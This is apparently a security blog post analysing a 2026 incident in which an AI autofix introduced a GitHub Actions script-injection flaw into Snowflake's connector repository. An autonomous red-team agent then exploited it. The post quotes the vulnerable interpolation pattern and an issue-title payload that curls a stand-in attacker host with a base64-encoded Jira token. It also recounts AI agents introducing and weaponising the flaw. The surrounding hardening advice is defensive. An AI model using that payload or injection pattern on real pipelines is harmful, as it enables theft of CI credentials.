On 18 June 2026, GitHub Copilot Autofix opened a pull request against Snowflake’s public snowflake-connector-net repository. The stated purpose was to fix a security issue in a GitHub Actions workflow. What it actually did was strip out the repository’s existing safe input-handling pattern and replace it with raw string interpolation inside a shell command, reintroducing the exact class of vulnerability it had been asked to close.
Five days later, Wiz’s autonomous Red Agent found it, exploited it, and exfiltrated a Jira API token belonging to [email protected], which granted read access to Snowflake’s internal engineering, security compliance, and bug bounty tracking projects. Snowflake patched the same day it was reported and rotated the token the day after. Audit logs confirmed no third party other than Wiz touched the endpoint during the exposure window.
An AI introduced the bug. A different AI found and weaponised it. Neither needed a human in the loop. That is the story worth paying attention to, and it is not really a story about Copilot.
TL;DR
- GitHub Copilot Autofix introduced a script injection vulnerability into Snowflake’s public repository on 18 June 2026 while purporting to fix a security issue, by replacing a safe
env:plusjqparsing pattern with direct shell interpolation. - Wiz’s autonomous Red Agent discovered and exploited it five days later, using a crafted GitHub issue title to break out of an
echostring and exfiltrate a Jira API token via an out-of-band callback. - The workflow’s security gate was already broken independently: it checked
github.event.pull_request, which is always null on issue events, so the condition never gated anything. - The root cause is missing intent. The AI could see the code but not the reasoning behind the defensive pattern it deleted, so it optimised away a control it did not recognise as a control.
- The fix is architectural, not model-tuning: treat CI/CD configuration as high-trust code, block AI-authored changes to workflow files without security review, use scoped short-lived credentials, and put static analysis in front of the merge rather than in front of the human.
The attack chain, in plain terms
GitHub Actions workflows can be triggered by events that untrusted people control. Opening an issue is one of them. Anyone with a GitHub account can open an issue on a public repository, and anyone can choose the title.
The vulnerable workflow did something that looks harmless until you have been burned by it:
run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
The ${{ ... }} expression is not a shell variable. GitHub expands it into the script text before bash ever sees the line. So an attacker-supplied title containing a single quote closes the echo string, and everything after it executes as shell. The sed sanitisation on the right-hand side is irrelevant because the injection has already happened by the time the pipeline runs.
Wiz’s agent used a title along the lines of '; curl -s "https://attacker.example?t=$(printf %s $JIRA_API_TOKEN | base64)". The token was in the runner’s environment because the workflow legitimately needed it to sync issues to Jira. The callback fired. The credential left the building.
Worth noting for anyone who has been sceptical of autonomous offensive tooling: when the agent’s first payload hit a bash syntax error, it adjusted its approach and tried again. No human debugged it.
Two failures, and the second one is older than the first
There is a temptation to file this under “AI wrote bad code” and move on. That reading misses half of it.
The workflow already had a security gate. It was an if: condition referencing github.event.pull_request, presumably intended to restrict the job to trusted contexts. On an issues event, github.event.pull_request is always null. The gate had never worked. It was a human-written control that looked like security in a diff review and did nothing in production.
So the honest version is: a human wrote a control that did not work, an AI removed a control that did, and an AI found the resulting hole in under a week. The AI made the codebase worse, but it was operating on a foundation that was already less safe than anyone reviewing it believed.
Why the AI deleted the defence
The original code used the pattern every GitHub Actions hardening guide recommends: pass untrusted input through env: into an environment variable, then parse it with jq --arg or reference it as "$TITLE", so the value never becomes part of the script text.
That pattern is verbose. It looks like an awkward workaround if you do not know what it is defending against. There is usually no comment explaining it, because the developer who wrote it understood the threat model and assumed the next reader would too.
This is Chesterton’s Fence with a token budget. The model saw a fence in a field, could not see why it was there, and cleared it to tidy the field. Language models are trained on code, not on the incident reports that produced the code, and defensive patterns are precisely the category whose value is invisible in the artefact and lives entirely in the history.
The practical implication has nothing to do with which model you use. If your security-critical code does not carry its own justification, an AI agent will eventually simplify it. So will a junior developer, and so will you in eighteen months. The difference is that the agent does it at the rate of dozens of PRs a week, and its output arrives pre-labelled as a security fix, which is close to the worst possible framing for getting a reviewer to look hard.
CI/CD is where this hurts most
We have written before about deployment platforms as single points of failure and about GitHub Actions supply chain attacks. The pattern repeats because CI runners are structurally the softest high-value target in most organisations:
- They hold live credentials by design. Registry tokens, cloud roles, Jira and Slack tokens, signing keys.
- They execute code triggered by events that outsiders can influence.
- Their configuration lives in YAML that most review processes treat as infrastructure trivia rather than as production code.
- They frequently run with far broader permissions than any single job requires.
Add an AI agent with write access to that YAML and you have a system where an unreviewed change to a config file can hand an anonymous internet user a shell with your organisation’s secrets in scope.
What to actually do about it
None of this argues for banning AI-assisted remediation. It argues for treating its output as untrusted input, which is the same posture you should already have towards any automated code change.
- Classify workflow files as security-critical. Put
.github/workflows/, Terraform, Dockerfiles, and deployment manifests behind CODEOWNERS with a security reviewer. AI-authored changes to those paths should never auto-merge, regardless of how confident the tool sounds. - Never interpolate event data into
run:blocks. Bind untrusted values viaenv:and reference them as quoted shell variables. Treatgithub.event.issue.*,pull_request.title, branch names, and commit messages as attacker-controlled, because they are. - Run a workflow-specific linter in CI. Tools like
zizmorandactionlintcatch template injection and over-permissioned jobs mechanically. This is the control that would have blocked the Copilot PR without anyone needing to notice it. - Scope and shorten every credential in the runner. The Jira token here was long-lived and broadly readable. OIDC federation and short-TTL, single-purpose tokens turn a full compromise into a narrow one.
- Set
permissions:explicitly at job level. Default tocontents: readand grant upwards only where needed. - Comment your defences. One line above the
env:block saying “do not inline this, template injection via issue title” is the cheapest control on this list and the one most likely to survive contact with the next agent. - Assume five days is the window. Snowflake’s exposure lasted five days and was found by an autonomous scanner. Adversarial agents are now cheap enough to run continuously against public repositories. Your patch cadence needs to assume that discovery is fast and indiscriminate.
The uncomfortable conclusion
AI coding agents genuinely raise the floor. They catch the obvious injection, the missing null check, the unhandled promise rejection. What this incident demonstrates is that they can simultaneously lower the ceiling, because the code they are least equipped to reason about is the code whose purpose is non-obvious, and security code is almost definitionally non-obvious.
Snowflake’s response was, for what it is worth, exemplary: patched the same day it was reported, token rotated within 24 hours, audit logs checked to establish blast radius. Most organisations would not have detected it at all, and would not have had the audit trail to answer the only question that matters afterwards, which is who else got in.
The question to ask your team this week is not whether you use AI to write code. It is whether an AI-authored pull request can currently reach your main branch without a human who understands the threat model looking at it. If the answer is yes, and your pipeline holds credentials, you have the same exposure Snowflake did.
At REPTILEHAUS we build and harden CI/CD pipelines, run AI agents in production, and do security reviews of both. If you want an outside pair of eyes on your workflow permissions, credential scoping, and AI governance before an autonomous scanner gives you one for free, get in touch.

